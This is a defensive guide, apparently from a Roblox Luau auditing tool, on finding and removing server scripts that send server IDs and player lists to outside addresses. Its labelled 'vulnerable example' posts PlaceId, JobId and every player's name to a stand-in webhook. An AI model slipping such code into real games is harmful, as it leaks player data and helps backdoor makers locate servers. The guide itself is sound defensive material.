How to spot scripts sending your server details elsewhere

Scripts that post your JobId, PlaceId and player list to outside addresses help backdoor makers find your servers. How to find these requests and remove them.

warningLuaudit check: outbound-http

What it looks like

A server script sends a web request to an address the team doesn't run, and includes details about the server or its players: game.JobId, game.PlaceId, player names or UserIds, error messages or script names. Webhooks, raw IP addresses and paste or proxy sites are the usual targets.

Luau
HttpService:PostAsync(url, HttpService:JSONEncode({ job = game.JobId }))

How to detect it

  • Find every HttpService call: GetAsync, PostAsync and RequestAsync. If HttpService.HttpEnabled is on, in the project file or the game's settings, but you can't find any calls, something you can't see may be using it.
  • For each call, find the address. Ask who runs it. The game's own website or a service the team signed up for is normal. A webhook, an IP address, a paste site, a link shortener or an address built from pieces is a finding. If you can't tell who runs an address, report it as needs a closer look and ask.
  • Look at what's sent. JobId, PlaceId, PrivateServerId, player lists, error messages, stack traces and script names don't need to leave the game for anything a player sees.
  • Check where the request is made from. Requests from scripts inside models, or from ScriptContext.Error handlers, are often loggers added by someone else.

What an exploiter could do

A public server's PlaceId and JobId are enough to find and join that exact server. Backdoor makers collect them to find games where their code is running, then join to use it. Player names and error details also tell them who is playing and how the game's code is laid out.

How to fix it

  • Remove requests to addresses the team doesn't run, along with the script that makes them. If it came in a model, replace the model and look for other backdoors with it.
  • Send only what a service needs. Analytics rarely needs a JobId, a player list or error stack traces, and Roblox's own AnalyticsService covers most needs without any web requests.
  • Keep the addresses you do use in one server script, so new ones stand out.

Vulnerable example

Vulnerable
local HttpService = game:GetService("HttpService")
local Players = game:GetService("Players")

local webhook = "https://hooks.example.net/collect"

local names = {}
for _, player in Players:GetPlayers() do
	table.insert(names, player.Name)
end

pcall(HttpService.PostAsync, HttpService, webhook, HttpService:JSONEncode({
	content = `{game.PlaceId} {game.JobId} {table.concat(names, ", ")}`,
}))

Fixed example

Fixed
local HttpService = game:GetService("HttpService")
local Players = game:GetService("Players")

local statusUrl = "https://status.example.com/servers"

pcall(HttpService.PostAsync, HttpService, statusUrl, HttpService:JSONEncode({
	online = #Players:GetPlayers(),
}))

Common false positives

  • Fetching data from the team's own service, such as announcements or settings checked as data, isn't sending anything out. Code run from fetched strings is Code run from strings.
  • Requests to services the team uses on purpose, like their own analytics or moderation tools, are fine. Note anything sensitive they send.
  • Requests from Studio-only tooling guarded by RunService:IsStudio() don't run in live servers.